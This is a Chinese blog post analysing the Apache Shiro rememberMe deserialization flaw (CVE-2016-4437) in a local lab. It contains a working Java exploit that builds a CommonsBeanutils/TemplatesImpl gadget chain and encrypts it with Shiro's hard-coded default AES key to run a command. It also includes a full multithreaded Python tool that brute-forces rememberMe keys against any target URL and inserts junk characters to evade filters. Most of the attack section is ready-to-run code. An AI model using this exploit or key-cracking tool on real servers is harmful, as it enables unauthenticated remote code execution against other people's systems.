shiro 反序列化漏洞-CVE-2016-4437

shiro 反序列化漏洞-CVE-2016-4437

很早期的一个rememberMe反序列化漏洞,面试经常会问,但才想起还没从代码审计的角度分析过,所以快速分析下。

CVE描述

对cookie中的RememberMe值进行反序列化时,由于使用的默认密钥,导致数据可伪造从而触发反序列化命令执行

漏洞环境

jdk8u66

复制代码
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
            <version>1.2.4</version> 
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
            <version>1.2.4</version> 
        </dependency>

这里的环境用于生成payload,后续会切换到https://github.com/apache/shiro 中提供的sample web

分析

查看shiro-core的包可以很快发现一个叫RememberMeAuthenticationToken的接口,继而找到AbstractRememberMeManager

用于实现rememberMe中的用户身份的序列化和反序列化,此处直接硬编码了默认密钥:

初始化时就会设置这个默认密钥:

其实就是设置了encryptionCipherKey和decryptionCipherKey字段,关注以下函数:

  • serialize:序列化,将PrincipalCollection对象序列化
  • encrypt:加密,发生在序列化后
  • decrypt:解密
  • deserialize:反序列化,发生在解密后,将解密的数据反序列化为PrincipalCollection对象
  • rememberSerializedIdentity:存放rememberMe cookie,存的是一段字节数组
  • getRememberedSerializedIdentity:取rememberMe cookie,取的是一段字节数组

然后CookieRememberMeManager又继承自AbstractRememberMeManager,所以过程应该还算比较清晰:

  • 存cookie:将PrincipalCollection对象进行序列化并加密得到一段字节数组,然后使用rememberSerializedIdentity存放这段字节数组
  • 取cookie:使用getRememberedSerializedIdentity取rememberMe cookie 字节数组,然后将字节数组解密并反序列化得到PrincipalCollection对象

于是我构造了:

java 复制代码
package org.example.deserialization;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.io.DefaultSerializer;
import org.apache.shiro.io.SerializationException;
import org.apache.shiro.util.ByteSource;
import org.example.tools.ReflectionUtils;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;


public class shiro {
    public static Object getEvilObject() throws NotFoundException, CannotCompileException, NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor constructor = clazz.getConstructor();
        Object templatesImp = constructor.newInstance();

        ClassPool pool = ClassPool.getDefault();

        CtClass evilCtClass = pool.makeClass("EvilClass" + System.nanoTime());

//        String cmd = "java.lang.Runtime.getRuntime().exec(\"touch /tmp/success\");";
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        evilCtClass.makeClassInitializer().insertBefore(cmd);

        CtClass class1 = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");

        byte[] evilBytecode = evilCtClass.toBytecode();

        if (evilCtClass.isFrozen()){
            evilCtClass.defrost();
        }
        evilCtClass.setSuperclass(class1);

        CtClass ctClass = pool.makeClass("ctClass" + System.nanoTime());


        //_bytecodes数组需要大于1
        ReflectionUtils.setFieldValue(templatesImp, "_bytecodes", new byte[][]{evilBytecode, ctClass.toBytecode()});
        System.out.println(evilCtClass.getName());
        //_name需要和要加载的恶意类名一致
        ReflectionUtils.setFieldValue(templatesImp, "_name", evilCtClass.getName());
        //_transletIndex需要大于等于0
        ReflectionUtils.setFieldValue(templatesImp,"_transletIndex",0);
        Class clazz2 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
        Constructor constructor2 = clazz2.getConstructor();

        ReflectionUtils.setFieldValue(templatesImp, "_tfactory", constructor2.newInstance());
        BeanComparator comparator = new BeanComparator("outputProperties");
        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
        ReflectionUtils.setFieldValue(priorityQueue,"queue",new Object[]{templatesImp,templatesImp});// 设置BeanComparator.compare()的参数
        ReflectionUtils.setFieldValue(priorityQueue,"size",2);// 设置BeanComparator.compare()的参数
        ReflectionUtils.setFieldValue(comparator,"property","outputProperties");
        ReflectionUtils.setFieldValue(comparator,"comparator",comparator);
        return priorityQueue;
    }


    public static void main(String[] args) throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        DefaultSerializer serializer = new DefaultSerializer();
        byte[] payloads = serializer.serialize(getEvilObject());
        AesCipherService aes = new AesCipherService();
        aes.setKeySize(128);
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.println(ciphertext);
        ByteSource plaintext = aes.decrypt(ciphertext.getBytes(), key);

        serializer.deserialize(plaintext.getBytes());
    }
}

但在反序列化时报错:Unable to deserialze argument byte array.

经过调试发现问题出现在处理二维字节数组时:

shiro中写的forName没办法处理[[B,jdk自带的forName才可以处理。

已经确定序列化得到的payload是可以成功触发漏洞的,因此我需要一个现有的环境去做调试:

  • https://github.com/apache/shiro clone项目,然后切换分支:

    复制代码
    git clone https://github.com/apache/shiro.git
    cd shiro
    git checkout shiro-root-1.2.4
  • 取samples目录单独构建项目,也可以直接在原项目处构建

  • 环境:jdk8u66、tomcat 9.0.115

  • 修改samples/web/pom.xml并使用maven构建,需要修改jstl版本,不然无法正常处理jsp

    复制代码
    <dependency>
                <groupId>javax.servlet</groupId>
                <artifactId>jstl</artifactId>
                <version>1.2</version>
                <scope>runtime</scope>
            </dependency>
  • 为了快速找链,我添加j了java agent

  • 部署:

  • 运行并访问:http://localhost:8080/samples_web_war/

  • 使用apifox请求触发漏洞

    直接触发计算器

以下为完整触发链路:

复制代码
at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:77)
at org.apache.shiro.mgt.AbstractRememberMeManager.deserialize(AbstractRememberMeManager.java:514)
at org.apache.shiro.mgt.AbstractRememberMeManager.convertBytesToPrincipals(AbstractRememberMeManager.java:431)
at org.apache.shiro.mgt.AbstractRememberMeManager.getRememberedPrincipals(AbstractRememberMeManager.java:396)
at org.apache.shiro.mgt.DefaultSecurityManager.getRememberedIdentity(DefaultSecurityManager.java:604)
at org.apache.shiro.mgt.DefaultSecurityManager.resolvePrincipals(DefaultSecurityManager.java:492)
at org.apache.shiro.mgt.DefaultSecurityManager.createSubject(DefaultSecurityManager.java:342)
at org.apache.shiro.subject.Subject$Builder.buildSubject(Subject.java:846)
at org.apache.shiro.web.subject.WebSubject$Builder.buildWebSubject(WebSubject.java:148)
at org.apache.shiro.web.servlet.AbstractShiroFilter.createSubject(AbstractShiroFilter.java:292)
at org.apache.shiro.web.servlet.AbstractShiroFilter.doFilterInternal(AbstractShiroFilter.java:359)
at org.apache.shiro.web.servlet.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:125)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:142)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:166)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:88)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:491)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:83)
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:643)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:72)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:344)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:398)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:939)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1832)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:973)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:491)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
at java.lang.Thread.run(Thread.java:745)

打个断点开始调试,于是我发现:

THREAD_CL_ACCESSOR.loadClass成功处理了[[B

所以问题出现在THREAD_CL_ACCESSOR:

  • 无法处理[[B的类加载器:

    复制代码
    Thread.currentThread().getContextClassLoader() = {Launcher$AppClassLoader@367}
  • 可以处理[[B的类加载器:

    复制代码
    {ParallelWebappClassLoader@4107}

所以本质是类加载器的问题

java chain快速利用

下载:https://github.com/vulhub/java-chains

另外还可以填充一些垃圾字符:

这是因为在将RememberMe Cookie使用Base64.decode转换为字节数组前会使用discardNonBase64做清理:

因此并不影响payload的使用,java chain还可以使用GCM加密模式去构造payload,我大概用java chain试了几个版本:

shiro version CB 链 密钥 加密模式
1.2.4 CB2(1.8) kPH+bIxk5D2deZiIxcaaaA== CCB
1.4.1 CB1(1.9) kPH+bIxk5D2deZiIxcaaaA== CCB
1.4.2 CB1(1.9) kPH+bIxk5D2deZiIxcaaaA== GCM
1.9.1 CB1(1.9) kPH+bIxk5D2deZiIxcaaaA== GCM

显然高版本已经不会将密钥硬编码到代码中了

总结

写到这发现也没写个啥,再水水总结吧

  • Shiro<=1.2.4:CBC+硬编码默认密钥
  • 1.2.4<Shiro<1.4.2:CBC+随机AES密钥(如未自定义密钥)
  • shiro>=1.4.2:GCM++随机AES密钥(如未自定义密钥)

至于密钥爆破:

  • key字典:https://github.com/0xShe/Shiro-key-10w

  • 脚本(忘记从哪拿的了):

    java 复制代码
    import base64
    import uuid
    import requests
    import time
    import threading
    import concurrent.futures
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad
    import urllib3
    import warnings
    import os
    import sys
    import random
    
    # ============== 禁用SSL警告 ==============
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    warnings.filterwarnings("ignore", category=UserWarning, module="urllib3")
    
    # ============== 默认配置参数 ==============
    DEFAULT_TARGET_URL = "http://localhost:8080/samples_web_war/"
    DEFAULT_COOKIE_NAME = "rememberMe"
    DEFAULT_RESPONSE_COOKIE = "rememberMe=deleteMe"
    DEFAULT_KEY_FILE = "keys.txt"
    THREADS = 10
    MAX_RETRIES = 3
    RETRY_DELAY = 1
    USE_PROXY = False  # 改为 True 可启用代理
    DEBUG = True
    
    # ============== 代理配置 ==============
    PROXIES = {
        "http": "http://127.0.0.1:8080",
        "https": "http://127.0.0.1:8080"
    }
    
    # ============== 全局变量 ==============
    found_key = None
    lock = threading.Lock()
    tested_count = 0
    total_keys = 0
    
    # ============== 增强版"脏字符"插入策略 ===============
    SAFE_NOISE_CHARS = '@$`_-'
    INSERT_PROB = 0.04  # 提高到 4%(原为 2%),翻倍插入概率
    
    
    def add_noise_to_cookie(base64_str: str) -> str:
    
        if not base64_str:
            return base64_str
    
        clean = base64_str.rstrip('=')
        padding = '=' * (4 - len(clean) % 4) if len(clean) % 4 != 0 else ''
    
        result = []
        for i, char in enumerate(clean):
            result.append(char)
    
    
            if random.random() < INSERT_PROB:
                noise = random.choice(SAFE_NOISE_CHARS)
                result.append(noise)
    
    
            if (i + 1) % random.randint(10, 20) == 0 and i < len(clean) - 1:
                noise = random.choice(SAFE_NOISE_CHARS)
                result.append(noise)
    
        return ''.join(result) + padding
    
    
    def get_user_input():
        """获取用户输入配置参数"""
        print("=" * 70)
        print("Shiro RememberMe 脏数据注入爆破工具")
        print("✅ 插入频率提升:4% + 每10~20字符强制插入 @$`_-")
        print("=" * 70)
    
        target_url = input(f"[*] 请输入目标URL [默认: {DEFAULT_TARGET_URL}]: ") or DEFAULT_TARGET_URL
        if not target_url.startswith("http"):
            target_url = "http://" + target_url
    
        cookie_name = input(f"[*] 请输入请求Cookie名称 [默认: {DEFAULT_COOKIE_NAME}]: ") or DEFAULT_COOKIE_NAME
    
        response_cookie = input(f"[*] 请输入响应中的删除Cookie检测值 [默认: {DEFAULT_RESPONSE_COOKIE}]: ") or DEFAULT_RESPONSE_COOKIE
    
        while True:
            key_file = input(f"[*] 请输入密钥文件路径 [默认: {DEFAULT_KEY_FILE}]: ") or DEFAULT_KEY_FILE
            if os.path.isfile(key_file):
                break
            print(f"[-] 错误: 文件 '{key_file}' 不存在!")
    
        return target_url, cookie_name, response_cookie, key_file
    
    
    
    def encrypt_AES_CBC(msg, secretKey):
        try:
            iv = uuid.uuid4().bytes
            cipher = AES.new(secretKey, AES.MODE_CBC, iv)
            ciphertext = cipher.encrypt(pad(msg, AES.block_size))
            return iv + ciphertext
        except Exception as e:
            if DEBUG:
                print(f"[-] CBC 加密失败: {e}")
            return None
    
    
    def encrypt_AES_GCM(msg, secretKey):
        try:
            cipher = AES.new(secretKey, AES.MODE_GCM)
            ciphertext, auth_tag = cipher.encrypt_and_digest(msg)
            return cipher.nonce + ciphertext + auth_tag
        except Exception as e:
            if DEBUG:
                print(f"[-] GCM 加密失败: {e}")
            return None
    
    
    def generate_clean_cookie(key_base64: str, use_gcm=False) -> str:
    
        try:
            key = base64.b64decode(key_base64)
            if len(key) != 16:
                return None
    
            file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
    
            if use_gcm:
                encrypted_data = encrypt_AES_GCM(file_body, key)
            else:
                encrypted_data = encrypt_AES_CBC(file_body, key)
    
            return encrypted_data and base64.b64encode(encrypted_data).decode('utf-8')
        except Exception as e:
            if DEBUG:
                print(f"[-] 生成 Cookie 失败: {e}")
            return None
    
    
    # ============== 网络请求和验证 ==============
    def send_request_with_dirty_cookie(target_url, cookie_name, clean_cookie: str) -> requests.Response:
    
        dirty_cookie = add_noise_to_cookie(clean_cookie)
        cookies = {cookie_name: dirty_cookie}
    
        for attempt in range(MAX_RETRIES):
            try:
                response = requests.get(
                    target_url,
                    cookies=cookies,
                    timeout=5,
                    verify=False,
                    allow_redirects=False,
                    proxies=PROXIES if USE_PROXY else None
                )
                return response
            except Exception as e:
                if attempt < MAX_RETRIES - 1:
                    time.sleep(RETRY_DELAY)
                else:
                    return None
        return None
    
    
    def is_valid_response(response: requests.Response, response_cookie: str) -> bool:
        if not response or not hasattr(response, 'headers'):
            return False
    
        set_cookie_header = response.headers.get('Set-Cookie', '')
        return response_cookie not in set_cookie_header
    
    
    def test_mode(target_url, cookie_name, response_cookie, key_base64: str, use_gcm: bool) -> bool:
        clean_cookie = generate_clean_cookie(key_base64, use_gcm)
        if not clean_cookie:
            return False
    
        response = send_request_with_dirty_cookie(target_url, cookie_name, clean_cookie)
        if not response:
            return False
    
        return is_valid_response(response, response_cookie)
    
    
    def test_key(target_url, cookie_name, response_cookie, key_base64: str) -> bool:
        global found_key, tested_count
    
        with lock:
            if found_key:
                return False
    
        # 只显示进度,不打印脏数据
        with lock:
            if found_key:
                return False
            tested_count += 1
            current = tested_count  # 保存当前计数,避免后续变化
    
    
        if current % 100 == 0:
            print(f"[-] 测试第 {current} 个密钥")
    
        # 测试 CBC
        if test_mode(target_url, cookie_name, response_cookie, key_base64, use_gcm=False):
            with lock:
                if not found_key:
                    found_key = key_base64
                    final_clean = generate_clean_cookie(key_base64, False)
                    final_dirty = add_noise_to_cookie(final_clean)
                    print(f"\n[+] 找到有效密钥 (CBC): {key_base64}")
                    print(f"[+] 原始 Cookie: {final_clean}")
                    print(f"[+] 脏数据 Cookie: {final_dirty}")
            return True
    
        # 测试 GCM
        if test_mode(target_url, cookie_name, response_cookie, key_base64, use_gcm=True):
            with lock:
                if not found_key:
                    found_key = key_base64
                    final_clean = generate_clean_cookie(key_base64, True)
                    final_dirty = add_noise_to_cookie(final_clean)
                    print(f"\n[+] 找到有效密钥 (GCM): {key_base64}")
                    print(f"[+] 原始 Cookie: {final_clean}")
                    print(f"[+] 脏数据 Cookie: {final_dirty}")
            return True
    
        return False
    
    
    
    def main():
        global found_key, total_keys
    
        target_url, cookie_name, response_cookie, key_file = get_user_input()
    
        try:
            with open(key_file, 'r') as f:
                keys = [line.strip() for line in f if line.strip()]
                total_keys = len(keys)
        except Exception as e:
            print(f"[-] 读取密钥文件失败: {e}")
            return
    
        if total_keys == 0:
            print("[-] 密钥文件为空")
            return
    
        print("\n" + "=" * 70)
        print(f"[*] 目标URL: {target_url}")
        print(f"[*] 请求Cookie名称: {cookie_name}")
        print(f"[*] 响应检测目标: '{response_cookie}'")
        print(f"[*] 密钥文件: {key_file} ({total_keys} 个密钥)")
        print(f"[*] 开始爆破,线程数: {THREADS}")
        print(f"[*] 插入脏字符: {SAFE_NOISE_CHARS}(频率增强)")
        print("=" * 70 + "\n")
    
        start_time = time.time()
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=THREADS) as executor:
            futures = [executor.submit(test_key, target_url, cookie_name, response_cookie, key) for key in keys]
    
            try:
                for future in concurrent.futures.as_completed(futures):
                    if found_key:
                        break
            except KeyboardInterrupt:
                print("\n[!] 用户中断")
    
        elapsed = time.time() - start_time
        print(f"\n[*] 测试完成,耗时: {elapsed:.2f}秒")
    
        if found_key:
            print(f"[+] 成功找到有效密钥: {found_key}")
        else:
            print("[-] 未找到有效密钥")
    
    
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print("\n[!] 用户中断,程序已退出")
            sys.exit(0)
相关推荐
csdn_aspnet4 小时前
GitHub Actions自动化运维实战,用CI/CD流水线实现测试、部署、安全扫描一体化
运维·安全·ci/cd·自动化·github
ChainSafeAI0036 小时前
以太坊利用AI挖掘漏洞成功发现安全缺陷,称人工审核仍不可替代
人工智能·安全
世***y6 小时前
开展夏季安全大检查 排隐患夯实安全基础
安全
一键生成网站6 小时前
AI原型工具企业需求分析:私有化部署与安全协作选购指南
人工智能·安全·需求分析·
mounter6257 小时前
从内存隔离到运行时防线:透视 Linux 内核安全强化的博弈与演进
linux·网络·安全·linux kernel·kernel
chenyulin45458 小时前
企业微信API二次开发:万级并发回调下的极致幂等性设计与防重放架构实战
大数据·人工智能·安全·架构·企业微信
CypressTel10 小时前
JADEPUFFER暴露企业安全防御新挑战——赛柏特安全观察
安全
上海云盾-小余12 小时前
流量攻击详解:区分带宽耗尽与资源耗尽两类攻击
爬虫·安全·ddos
科力锐品牌君12 小时前
医院数据存储“乱象”:如何兼顾兼容、高效与合规?
大数据·安全·备份·存储·存储方案
长风23013 小时前
Day 17: 突破 AOB 框架霸权 —— 插件界面重构与大屏呈现
人工智能·安全